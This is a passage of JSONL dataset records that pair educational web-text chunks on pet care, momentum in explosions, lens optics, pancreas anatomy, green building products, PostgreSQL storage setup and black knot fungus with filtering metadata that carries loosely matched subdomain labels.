0.4613731031042939, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.983070"} {"text": "- ray, ultrasonography, or endoscopy. the latter method uses a small camera that is attached to a flexible tube, and which can be inserted into the actual space to be examined. in this way, your veterinarian can get a more precise image of the cause of the blockage, and if indicated, take a tissue sample for biopsy. as part of a standard physical examination, your doctor will also do a complete blood profile, including a chemical blood profile, a complete blood count, and a urinalysis. blood and urine analyses, meanwhile, may show evidence of low blood volumes, an indication that shock has, or will set in. as gastric dilation can quickly become fatal, it often warrants emergency inpatient medical management. special attention will be paid to establishing improved heart function and fluid balance, followed by gastric decompression and resolution of the cause of the distention. your veterinarian will perform gastric decompression by intubation of the stomach through the oral cavity. surgery is indicated in most cases to remove the cause of obstruction, though it is not without risk, especially when the patient is in a critical condition. blood pressure, meanwhile, will be maintained with fluid support until your rabbit has returned to a more balanced state. antibiotics may also be given to prevent opportunistic infections. living and management recovery may or may not occur. however, the condition may recur even if it is completely resolved. your rabbit may resume normal activity after the foreign body is removed. once your rabbit has been safely discharged from medical care, you can begin feeding it again, but the diet will need to be modified until the rabbit has had time to fully recover from the trauma. pellets can be ground and mixed with fresh greens, vegetable baby foods, water, or juice to form a gruel that can be swallowed an digested more easily than solids. if your rabbit refuses food, you may assist - feed the gruel mixture. if sufficient volumes of food are not accepted in this manner either, feeding through tubes is indicated. unless your veterinarian has specifically instructed it, do not feed your rabbit high - carbohydrate, high - fat nutritional supplements. at home, monitor its appetite and production of feces, and regularly brush the rabbit to remove excess hair so as to prevent the rabbit from ingesting hair mats while self grooming. the ability to create a disease where a disease might not normally be found, usually due to an", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.464554281348307, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.984008"} {"text": "mental and physical development introducing your puppy to their new home your puppy will want to explore their new home, but they ' ll also be nervous. help them out by keeping things calm when they first arrive. put your other animals away and wait to have your friends come over to see your puppy. once your puppy has gone to the bathroom outside, let them explore the areas of the house they ' ll be allowed in, and then give them some food and water. fix your puppy a bed next to yours, either in a crate or a box. this is probably the first time they ' ve slept alone, so they ' ll be scared. consider giving them a hot water bottle or a special toy that has a beating - heart sound to sleep with. if they cry, comfort them - - even hold them until they fall asleep. ignoring them can lead to increased fear of being left alone. you may be tempted to take your puppy out on the town the next day, but be careful. the immunity to some diseases that your puppy received from their mother ' s milk while nursing has begun to wear off by eight weeks of age. this means there may be a period of vulnerability after the puppy stops nursing and before their first vaccinations. for now, take them only to places where they won ' t be exposed to other dogs. avoid high - traffic areas like dog parks until they ' re a few months older. what you should feed your puppy it is important to provide your puppy with a high - quality, complete diet formulated specifically for puppies. because they are constantly growing, puppies require higher amounts of fats, proteins and certain vitamins and minerals than adult dogs. puppy food is specifically formulated to meet these needs. most commercially produced dog foods are complete and balanced, but they are not all of the same quality. one of the first things to check for is that the primary ingredient ( usually the first ingredient listed ) is a protein source. the most commonly used are chicken, beef, lamb, fish and some plant ingredients such as corn gluten. if you have a large or giant breed puppy, you should provide a puppy food made specifically for these breeds. diets for these breeds typically restrict certain ingredients to make sure the puppy doesn ' t grow too fast, as rapid growth or excess intake of certain nutrients can lead to developmental or orthopedic problems. your veterinarian can assist you in choosing a food that is right for your puppy. health and veterinary care first vaccinations eight - week - old", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4619925083558555, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.987914"} {"text": "growth or excess intake of certain nutrients can lead to developmental or orthopedic problems. your veterinarian can assist you in choosing a food that is right for your puppy. health and veterinary care first vaccinations eight - week - old puppies from shelters or breeders may have already received their initial vaccinations. if they haven ' t, you will need to arrange for their first shots with a veterinarian. first shots - - usually a five - vaccine combination of adenovirus cough, hepatitis, distemper, parainfluenza and parvovirus - - are usually given between six and nine weeks of age. the timing of a puppy ' s first vaccinations is important - - too soon and antibodies from the puppy ' s mother ' s milk could prevent the vaccines from taking effect, too late and the puppy could be unnecessarily vulnerable to disease. although veterinarians differ in their opinions on vaccination regimens, most prefer an approach in which the first vaccinations are given between six and nine weeks. an optional kennel cough vaccine may be included at this time. the leptospirosis vaccine is not recommended until 12 weeks, and is not required. these initial vaccines are repeated - - and additional vaccines such as rabies may be added - - at 12 to 15 weeks. see petside ' s vaccination timeline for a full list of shots. teething puppies, like children, go through a teething phase. they are born without teeth, and begin growing sharp baby teeth at three to four weeks of age. by eight weeks, your puppy should have all 28 of their baby teeth. once your puppy ' s baby teeth start to come in, they will seek something on which to chew to alleviate the accompanying pain and discomfort. giving your puppy the appropriate high - quality chew toys or chew treats, such as a frozen rope toy or a rawhide chew toy, will satisfy this need and keep them from chewing up household items. at eight weeks old, your puppy is ready to begin housebreaking. if your puppy is on a regular feeding and sleeping schedule, they will likely be housebroken in no time. plenty of positive reinforcement and a little patience are the only tools you will need. although puppies need to go to the bathroom frequently, the most pressing times are after they eat, play and wake up. take your puppy outside immediately after meals, play times and naps. every time the puppy goes to the bathroom", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4284290391505239, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.988824"} {"text": "the law of momentum conservation improve your problem - solving skills with problems, answers and solutions from the calculator pad. flickr physics visit the physics classroom ' s flickr galleries and take a visual tour of the topic of momentum and collisions. enjoy a rich source of instructional, demonstration and lab ideas on the topic of momentum and impulse. the laboratory looking for a lab that coordinates with this page? try the action - reaction lab from the laboratory. the laboratory looking for a lab that coordinates with this page? try the what ' s cooking lab from the laboratory. treasures from tpf need ideas? need help? explore the physics front ' s treasure box of catalogued resources on momentum. momentum conservation in explosions as discussed in a previous part of lesson 2, total system momentum is conserved for collisions between objects in an isolated system. for collisions occurring in isolated systems, there are no exceptions to this law. this same principle of momentum conservation can be applied to explosions. in an explosion, an internal impulse acts in order to propel the parts of a system ( often a single object ) into a variety of directions. after the explosion, the individual parts of the system ( that is often a collection of fragments from the original object ) have momentum. if the vector sum of all individual parts of the system could be added together to determine the total momentum after the explosion, then it should be the same as the total momentum before the explosion. just like in collisions, total system momentum is conserved. momentum conservation is often demonstrated in a physics class with a homemade cannon demonstration. a homemade cannon is placed upon a cart and loaded with a tennis ball. the cannon is equipped with a reaction chamber into which a small amount of fuel is inserted. the fuel is ignited, setting off an explosion that propels the tennis ball through the muzzle of the cannon. the impulse of the explosion changes the momentum of the tennis ball as it exits the muzzle at high speed. the cannon experienced the same impulse, changing its momentum from zero to a final value as it recoils backwards. due to the relatively larger mass of the cannon, its backwards recoil speed is considerably less than the forward speed of the tennis ball. in the exploding cannon demonstration, total system momentum is conserved. the system consists of two objects - a cannon and a tennis ball. before the explosion, the total momentum of the system is zero since the cannon and the tennis ball located inside of it are both at rest. after the explosion, the total momentum of the system must still be zero. if the ball acquires 50", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5925579036063312, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.001600"} {"text": ". before the explosion, the total momentum of the system is zero since the cannon and the tennis ball located inside of it are both at rest. after the explosion, the total momentum of the system must still be zero. if the ball acquires 50 units of forward momentum, then the cannon acquires 50 units of backwards momentum. the vector sum of the individual momenta of the two objects is 0. total system momentum is conserved. as another demonstration of momentum conservation, consider two low - friction carts at rest on a track. the system consists of the two individual carts initially at rest. the total momentum of the system is zero before the explosion. one of the carts is equipped with a spring - loaded plunger that can be released by tapping on a small pin. the spring is compressed and the carts are placed next to each other. the pin is tapped, the plunger is released, and an explosion - like impulse sets both carts in motion along the track in opposite directions. one cart acquires a rightward momentum while the other cart acquires a leftward momentum. if 20 units of forward momentum are acquired by the rightward - moving cart, then 20 units of backwards momentum is acquired by the leftward - moving cart. the vector sum of the momentum of the individual carts is 0 units. total system momentum is conserved. just like in collisions, the two objects involved encounter the same force for the same amount of time directed in opposite directions. this results in impulses that are equal in magnitude and opposite in direction. and since an impulse causes and is equal to a change in momentum, both carts encounter momentum changes that are equal in magnitude and opposite in direction. if the exploding system includes two objects or two parts, this principle can be stated in the form of an equation as : if the masses of the two objects are equal, then their post - explosion velocity will be equal in magnitude ( assuming the system is initially at rest ). if the masses of the two objects are unequal, then they will be set in motion by the explosion with different speeds. yet even if the masses of the two objects are different, the momentum change of the two objects ( mass velocity change ) will be equal in magnitude. the diagram below depicts a variety of situations involving explosion - like impulses acting between two carts on a low - friction track. the mass of the carts is different in each situation. in each situation, total system momentum is conserved as the momentum change of one cart is equal and opposite the momentum change of the other cart. in each", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5915613698768293, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.002665"} {"text": "two carts on a low - friction track. the mass of the carts is different in each situation. in each situation, total system momentum is conserved as the momentum change of one cart is equal and opposite the momentum change of the other cart. in each of the above situations, the impulse on the carts is the same - a value of 20 kgcm / s ( or cns ). since the same spring is used, the same impulse is delivered. thus, each cart encounters the same momentum change in every situation - a value of 20 kgcm / s. for the same momentum change, an object with twice the mass will encounter one - half the velocity change. and an object with four times the mass will encounter one - fourth the velocity change. since total system momentum is conserved in an explosion occurring in an isolated system, momentum principles can be used to make predictions about the resulting velocity of an object. problem solving for explosion situations is a common part of most high school physics experiences. consider for instance the following problem : a 56. 2 - gram tennis ball is loaded into a 1. 27 - kg homemade cannon. the cannon is at rest when it is ignited. immediately after the impulse of the explosion, a photogate timer measures the cannon to recoil backwards a distance of 6. 1 cm in 0. 0218 seconds. determine the post - explosion speed of the cannon and of the tennis ball. like any problem in physics, this one is best approached by listing the known information. m = 1. 27 kg d = 6. 1 cm t = 0. 0218 s m = 56. 2 g = 0. 0562 kg the strategy for solving for the speed of the cannon is to recognize that the cannon travels 6. 1 cm at a constant speed in the 0. 0218 seconds. the speed can be assumed constant since the problem states that it was measured after the impulse of the explosion when the acceleration had ceased. since the cannon was moving at constant speed during this time, the distance / time ratio will provide a post - explosion speed value. the strategy for solving for the post - explosion speed of the tennis ball involves using momentum conservation principles. if momentum is to be conserved, then the after - explosion momentum of the system must be zero ( since the pre - explosion momentum was zero ). for this to be true, then the post - explosion momentum of the tennis ball must be equal in magnitude ( and opposite in direction ) of that of the cannon. that is, the negative sign in the above equation serves the purpose", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5891956518344046, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.003745"} {"text": "was zero ). for this to be true, then the post - explosion momentum of the tennis ball must be equal in magnitude ( and opposite in direction ) of that of the cannon. that is, the negative sign in the above equation serves the purpose of making the momenta of the two objects opposite in direction. now values of mass and velocity can be substituted into the above equation to determine the post - explosion velocity of the tennis ball. ( note that a negative velocity has been inserted for the cannon ' s velocity. ) vball = - ( 1. 27 kg ) ( - 280 cm / s ) / ( 0. 0562 kg ) vball = 6323. 26 cm / s vball = 63. 2 m / s using momentum explosion, the ball is propelled forward with a speed of 63. 2 m / s - that ' s 141 miles / hour! it ' s worth noting that another method of solving for the ball ' s velocity would be to use a momentum table similar to the one used previously in lesson 2 for collision problems. in the table, the pre - and post - explosion momentum of the cannon and the tennis ball. this is illustrated below. = - 355 kgcm / s the variable v is used for the post - explosion velocity of the tennis ball. using the table, one would state that the sum of the cannon and the tennis ball ' s momentum after the explosion must sum to the total system momentum of 0 as listed in the last row of the table. thus, solving for v yields 6323 cm / s or 63. 2 m / s - consistent with the previous solution method. using the table means that you can use the same problem solving strategy for both collisions and explosions. after all, it is the same momentum conservation principle that governs both situations. whether it is a collision or an explosion, if it occurs in an isolated system, then each object involved encounters the same impulse to cause the same momentum change. the impulse and momentum change on each object are equal in magnitude and opposite in direction. thus, the total system momentum is conserved. 1. two pop cans are at rest on a stand. a firecracker is placed between the cans and lit. the firecracker explodes and exerts equal and opposite forces on the two cans. assuming the system of two cans to be isolated, the post - explosion momentum of the system _ _ _ _. a. is dependent upon the mass and velocities of the two cans b. is dependent upon the velo", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5487700227012065, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.004743"} {"text": "two cans. assuming the system of two cans to be isolated, the post - explosion momentum of the system _ _ _ _. a. is dependent upon the mass and velocities of the two cans b. is dependent upon the velocities of the two cans ( but not their mass ) c. is typically a very large value d. can be a positive, negative or zero value e. is definitely zero 2. students of varying mass are placed on large carts and deliver impulses to each other ' s carts, thus changing their momenta. in some cases, the carts are loaded with equal mass ; in other cases they are unequal. in some cases, the students push off each other ; in other cases, only one team does the pushing. for each situation, list the letter of the team that ends up with the greatest momentum. if they have the same momentum, then do not list a letter for that situation. enter the four letters ( or three or two or... ) in alphabetical order. 3. two ice dancers are at rest on the ice, facing each other with their hands together. they push off on each other in order to set each other in motion. the subsequent momentum change ( magnitude only ) of the two skaters will be _ _ _ _. a. greatest for the skater who is pushed upon with the greatest force b. greatest for the skater who pushes with the greatest force c. the same for each skater d. greatest for the skater with the most mass e. greatest for the skater with the least mass 4. a 62. 1 - kg male ice skater is facing a 42. 8 - kg female ice skater. they are at rest on the ice. they push off each other and move in opposite directions. the female skater moves backwards with a speed of 3. 11 m / s. determine the post - impulse speed of the male skater. 5. a 1. 5 - kg cannon is mounted on top of a 2. 0 - kg cart and loaded with a 52. 7 - gram ball. the cannon, cart, and ball are moving forward with a speed of 1. 27 m / s. the cannon is ignited and launches a 52. 7 - gram ball forward with a speed of 75 m / s. determine the post - explosion velocity of the cannon and cart.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.565157797778836, "token_count": 474, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.005787"} {"text": "| jul29 - 06, 08 : 44 am | | # 1 | question on light intensity at the focus of a lens. from using a magnifying lens under the sun, i gather it can focus all or most of the light impinging on its surface area to a small spot and that is how it is able to create a greater intensity light at its focus ( disregarding absorption in the lens. ) correct? what portion of the total light falling on the lens would be delivered to the focal spot ignoring absorption? this would be true no matter how far away the focal point. so the normal dimunition of intensity by the square of distance would not apply. so for example if you had a lens of focal distance 1 au and put this lens right next to the sun and directed the lens to shine toward the earth, the full intensity of the sun at its surface could be delivered to the earth. true? in a more realistic scenario if you put the lens some ten to hundreds of thousands of kilometers away from the sun ' s surface so it could survive the heating then the intensity delivered to the earth would still be many times the sun ' s normal intensity at the earth. so for example taking 1 au as about 150, 000, 000 km, if we made the focus of the lens be 1 au and put it 150, 000 km from the sun. then the intensity of the light at the surface of the lens would be 1000 ^ 2 = 1, 000, 000 ( one million ) times greater than that normally at the earth. the lens would deliver all or a large portion of the light falling on it to the focal spot on the earth. if the area of this spot was 1 / 1000th that of the area of the lens, then the intensity at the focal spot would then be 1, 000, 000, 000 ( one billion ) times the intensity normally at the earth. the intensification of the light at the focus is familiar with a convergent lens, such as with a magnifying lens. but if you had a diverging lens so the focal spot was larger than the lens then the intensity would be less than at the surface of the lens. but the total amount of light delivered to the focal spot would still be all or a large portion of that falling on the surface of the lens. and this would still be true no matter how far is the focal length. correct? | jul29 - 06, 10 : 21 am | | # 2 | | jul30 - 06, 07 : 44 pm |", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5794334634719185, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.008931"} {"text": "on the surface of the lens. and this would still be true no matter how far is the focal length. correct? | jul29 - 06, 10 : 21 am | | # 2 | | jul30 - 06, 07 : 44 pm | | # 3 | you can do a sort of sanity check type of experiment by testing this with an ordinary light bulb as a light source. there is no question that, by moving the lens closer to the source, you can capture more light, but you can ' t focus it as tightly with a longer focal length lens. these are the types of interplays you can test. finally i will remark that acheiving intesities 1 billion times greater than normal sunlight at the earths surface is actually not that significant when you consider that high powered lasers can acheive peak intensities at and above this level. nonetheless an interesting thought experiment. | similar threads for : question on light intensity at the focus of a lens. | | [ solved ] light intensity question | | introductory physics homework | | 2 | | what lens shape gives perfect focus? | | general physics | | 9 | | why does light intensity decrease when light passes through a glass block? | | general physics | | 7 | | question about light intensity and resistance | | advanced physics homework | | 1 | | question about light intensity and resistance | | introductory physics homework | | 1 |", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5520914345052487, "token_count": 283, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.009458"} {"text": "biological sciences division thousands of new proteins discovered in spinal fluid research establishes healthy benchmark to aid in understanding neurological disorders a u. s. and swedish team identified 2, 630 proteins in the clear fluid that protects the brain and spinal cord. enlarge image results : scientists and doctors have a far better understanding of the proteins in healthy spinal fluid, thanks to a u. s., swedish team who identified 2, 630 proteins in the clear fluid that protects the brain and spinal cord. this discovery nearly triples the number of proteins known to exist in spinal fluid. another striking finding was that slightly more than half of the proteins were not found in blood. the team was led by richard d. smith, ph. d., of pacific northwest national laboratory, and steven e. schutzer, md, of the university of medicine and dentistry of new jersey \u2014 new jersey medical school. in conducting this research, the team used integrated resources at emsl that included a custom - built automated nanocapillary liquid chromatography system coupled on - line to one of two mass spectrometers, modified in - house with an electrodynamic ion funnel. why it matters : this research establishes a reference database that may help researchers and clinicians determine the root causes of alzheimer ' s, parkinson ' s, and other neurological conditions. in addition, this work could improve the chances of devising faster, more efficient diagnostic tests and treatments for diseases with neurological and psychiatric features. what ' s next : while this work is the most comprehensive characterization of normal spinal fluid to date, it is only the beginning. quickly and precisely determining the proteins in different samples opens doors to fundamentally understanding human health. \" these exciting findings are the tip of our research iceberg, \" said smith, a wiley research fellow at the department of energy ' s emsl. acknowledgments : the national institutes of health, the national center for research resources, the swedish research council, and uppsala berzelii technology center for neurodiagnostics supported this research. key work was done at the doe ' s emsl, a national scientific user facility at pacific northwest national laboratory. this work was done by steven schutzer and benjamin natelson of the university of medicine and dentistry of new jersey ; tao liu, tomas angel, athena schepmoes, samuel purvine, kim hixson, mary lipton, david camp ii, and richard smith of pacific northwest national laboratory ; patricia coyle of state university of new york ;", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5087062244724125, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.013572"} {"text": "diseases and conditionsthe pancreas the pancreas : anatomy and functions tests and procedurescomputed tomography ( ct or cat ) scan of the pancreas the pancreas is an oblong flat gland, about six inches long, located below the liver, deep in the abdomen, between the stomach and the spine. it is about as long as your hand in an irregular tube shape. the pancreas has two types of cells : endocrine. the endocrine cells, the beta islet cells, produce and secrete the hormones insulin and glucagon into the bloodstream. these two hormones work together to regulate the level of sugar in the blood. exocrine. the exocrine cells produce and secrete enzymes into the duodenum, the first part of the small intestine, where they break down protein, carbohydrates, and fat into simpler components that can be easily absorbed. there are three major classes of enzymes. the enzyme trypsin breaks proteins down into peptides and amino acids. lipase breaks fats down into short - chain fatty acids that can be easily absorbed. amylase breaks starches ( complex carbohydrates ) down into simple sugars. in 1922, scientists discovered that a shortage of the hormone insulin is responsible for the disease called juvenile diabetes ( now called type 1 diabetes ). the source of insulin is none other than your pancreas. most of the time, the pancreas goes about its work quietly from its strategic location behind the stomach. but a relatively small number of people develop type 1 diabetes. the beta cells of the pancreas are destroyed in people with type 1 diabetes and the pancreas can ' t produce insulin. this condition usually occurs when the patient is a child or young adult - - thus the earlier name, juvenile diabetes. another form of diabetes, type 2, tends to occur in older people. it stems mainly from the body ' s inability to use insulin effectively. early in the disease, the body may respond by producing excessively high levels of insulin, but eventually the beta islet cells of the pancreas tire out and fail to produce enough insulin. cystic fibrosis. in cystic fibrosis, an inherited genetic disorder, mucous plugs can block pancreatic enzymes from reaching the intestines. this leads to digestive problems, delayed growth, and fat - soluble vitamin deficiencies. pancreatitis. another disease of the pancreas is pancre", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4447833338630814, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.017804"} {"text": "mucous plugs can block pancreatic enzymes from reaching the intestines. this leads to digestive problems, delayed growth, and fat - soluble vitamin deficiencies. pancreatitis. another disease of the pancreas is pancreatitis, an inflammation of the pancreas that can be painful. it can be acute ( sudden ) or chronic. the most common causes of acute pancreatitis are blockage of the pancreatic duct by a gallstone and excessive alcohol use. the most common causes of chronic pancreatitis is gall bladder disease and alcoholism. pancreatic cancer. cancer of the pancreas is a leading cause of cancer death in the united states. risks for pancreatic cancer include smoking, age, being male, having chronic pancreatitis, and exposure to some industrial chemicals. most pancreatic cancers develop in the exocrine tissues of the pancreas. it is a very difficult cancer to detect in the early stages. pancreatic insufficiency. pancreatic insufficiency is the inability of the pancreas to produce and / or secrete enough digestive enzymes to break down food in the small intestine. it typically occurs as a result of chronic pancreatic damage caused by cystic fibrosis or chronic pancreatitis.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42433743700863835, "token_count": 273, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.018282"} {"text": "it ' s hard to connect the cold war with the international builders ' show, but its technology is alive and well in the most unlikely place : a water - conserving shower head from delta. researchers back in the cold war days attempted to modulate fluid flow to mimic electronic signals, hoping to produce an uncrackable fluidic code. the technology worked, but there were better solutions, so the government never used it. decades later, delta uses the same technology in 1. 5 - gal shower heads that don ' t produce conventional droplets. instead, the droplets are little serpentine waves. their shape, the company says, produces a water - conserving shower that doesn ' t feel skimpy to the bather. furthermore, the larger droplets retain heat better, making the cone - shaped spray warmer, more comfortable and virtually impossible to decipher. over 50 percent of us households have inefficient toilets using at least 3. 5 gal per flush, which accounts for 1. 6 billion gal of wasted water per year. to help visualize that abstract data, kohler set up a typical pre - 1992 toilet alongside its new high - efficiency 1. 28 - gpf class six toilet, allowing each to flush and drain into a transparent bin marked with measurements. after we spent a few minutes watching - - with a typically obsessive pm level of scrutiny - - the two toilets cycle, it became clear how the vast difference could add up to an estimated 16, 500 gal per fixture. by insulating against heat transfer as well as air infiltration, icynene ' s open - cell foam insulation has been an efficient way to seal off stud bays for over 20 years. but the constituent polyol that makes the actual goop has always been derived from petroleum - - until now. icynene ' s new ld - r - 50 polyol switches the petroleum for castor oil, which comes from castor plants grown with no pesticides, fungicides or man - made irrigation. to make standard drywall, manufacturers use energy to heat gypsum at high temperatures until it calcifies. the drywall alternative ecorock instead hardens via a chemical reaction in less than 6 minutes with no heat needed. made from 80 percent recycled content, the wall panel also replaces traditional paper facing with fiberglass, creating a material resistant to damage from water, termites, impact or mold. whirlpool ' s new resourcesaver dishwasher only consumes 5 - 6 gal per load -", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5336911451936359, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.024254"} {"text": "the wall panel also replaces traditional paper facing with fiberglass, creating a material resistant to damage from water, termites, impact or mold. whirlpool ' s new resourcesaver dishwasher only consumes 5 - 6 gal per load - - about half the water used when washing by hand - - and it saves the water used to prerinse silverware by firing a high - pressure stream of water at the cheese - crusted forks sitting in the lower rack. priced at under $ 1000, it falls well within the budget of families looking to do away with an old clunker dishwasher. the company ' s 25 - cu. - ft resource saver side - by - side refrigerator is as miserly with electricity as the dishwasher is with water. sixty watts is all it takes to keep the appliance humming. it didn ' t take much exotic engineering to take the title of least - consumptive side - by - side fridge in this country : thicker doors make room for more insulation, and improvements to its condenser and compressor yield further energy savings. while everybody was drooling over the appliance ' s sleek front, we had a look around back. the appliance ' s back is smoothly covered, with a very small mechanical compartment readily accessible for repairs. the glass shelves also looked easily removable for cleaning, or - - once somebody plunks down a frozen turkey on one of them - - replacement. if you had to guess the amount of volatile organic compounds ( vocs ) a typical house emits, just from the adhesives used in its construction, what would you imagine that to be? according to the henkel corporation, 110 pounds of vocs are liberated just from various construction adhesives and sealants, and this number doesn ' t include what comes from particleboard, paint, carpet and other chemical - laden materials or furnishings. the company ' s osi green series line of construction adhesives and sealants would cut that number to 2 pounds of vocs. unfortunately, the company only distributes those products through professional channels, such as lumber yards, siding and roofing houses and other similar venues that cater just to construction professionals, not handy homeowners. but we can always hold our breath. thermomax solar thermal vacuum tubes produce hot water - - even on cold, windy and humid days - - 30 percent more effectively than flat panel collectors. by sealing the insulated tubes from outside influences, the system collects up to 80", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5290428084764405, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.025246"} {"text": "breath. thermomax solar thermal vacuum tubes produce hot water - - even on cold, windy and humid days - - 30 percent more effectively than flat panel collectors. by sealing the insulated tubes from outside influences, the system collects up to 80 percent of the refracted and diffused solar energy, generating about 1836 kwh per year. combined with the kingspan hot - water tank seen here, the system can provide additional heat for hydronic radiant heating systems - - the top half of the tank feeds plumbing for heating ; the bottom half heats water bound for the faucet. the international builders ' show always features a few houses built right on the trade show floor - - this one, called the builder livinghome, features new ecoclad siding made from an fsc - certified 50 / 50 blend of bamboo and postconsumer recycled paper. ecoclad ' s scratch - resistant bamboo fibers have a water absorption rate of less than one percent, and its uv overlay system protects the cladding from fading and sun damage. ( a 10 - year warranty backs up that claim. ) the equinox falls somewhere between a retractable awning and a high - tech pergola. shading a scorching deck can reduce an adjacent room ' s heat intake by 77 percent, cutting that space ' s a / c use in summer by up to 25 percent. unlike a retractable awning, the equinox can divert water to the gutter ( and, from there, to a rainwater collection system ). the steel louvers can be finished in the camel color shown, or can be customized to a shade more suited to your house style. as proof of the georgia - pacific slogan that \" what you don ' t see matters, \" the company fabricated a giant demonstration duct for its booth at ibs. it was hard to miss. these g - p reps are smiling because they know that the radiant barrier above their heads would be preventing up to 97 percent of the sun ' s heat from entering an attic space.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5196786293881851, "token_count": 420, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.026099"} {"text": "it is possible to create a database in a location other than the default location for the installation. remember that all database access actually occurs through the database backend, so that any location specified must be accessible by the backend. alternate database locations are created and referenced by an environment variable which gives the absolute path to the intended storage location. this environment variable must have been defined before the backend was started and must be writable by the postgres administrator account. any valid environment variable name may be used to reference an alternate location, although using variable name with a prefix of pgdata is recommended to avoid confusion and conflict with other variables. note : in previous versions of postgres, it was also permissable to use an absolute path name to specify an alternate storage location. the environment variable style of specification is to be preferred since it allows the site administrator more flexibility in managing disk storage. if you prefer using absolute paths, you may do so by defining \" allow _ absolute _ dbpaths \" and recompiling postgres to do this, either add this line # define allow _ absolute _ dbpaths 1to the file src / include / config. h, or by specifyingcflags + = - dallow _ absolute _ dbpathsin your makefile. custom. remember that database creation is actually performed by the database backend. therefore, any environment variable specifying an alternate location must have been defined before the backend was started. to define an alternate location pgdata2 pointing to / home / postgres / data, first type % setenv pgdata2 / home / postgres / datato define the environment variable to be used with subsequent commands. usually, you will want to define this variable in the postgres superuser ' s. profile or. cshrc initialization file to ensure that it is defined upon system startup. any environment variable can be used to reference alternate location, although it is preferred that the variables be prefixed with \" pgdata \" to eliminate confusion and the possibility of conflicting with or overwriting other variables. to create a data storage area in pgdata2, ensure that / home / postgres already exists and is writable by the postgres administrator. then from the command line, type % setenv pgdata2 / home / postgres / data % initlocation $ pgdata2 creating postgres database system directory / home / postgres / data", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48830236249197695, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.030635"} {"text": "black knot of prunus i remember as a kid exploring the woods around my home and seeing what looked like black poop on some twigs of an occasional large shrub or small tree. i remember looking up at that stuff and wondering what kind of an animal would climb up on those branches to go to the bathroom. i was curious, but not curious enough to climb up and get a closer look. that was my introduction to what is commonly referred to as black knot of prunus. no doubt many of you were similarly introduced to this fungus when you were a kid. although readily observed year around, it \u2019 s particularly noticeable in the spring as we begin to spend more time outside before the trees and shrubs leaf out. black knot of prunus, as the name implies, is a fungal parasite that is specific to plants in the genus prunus. the most common host in our region is chokecherry, but we also have some wild plums and a couple other cherry species. the characteristic elongated swellings or \u201c black knots \u201d on the branches and twigs of the host plant are typically about an inch in diameter and may be two to six inches long. in old severe infestations they may be considerably longer. they consist of a hard mass of fungal filaments, or hyphae and spores. these spores then spread by the wind to other plants. chokecherry is native to our region, and has also been widely used as an ornamental. more recently however, problems with black knot have reduced its desirability in lawns and boulevards. you may recall that chokecherry was designated the state fruit in 2007. black knot can reduce fruit production, and in cases of heavy infections, trees may become stunted and deformed. black knot is 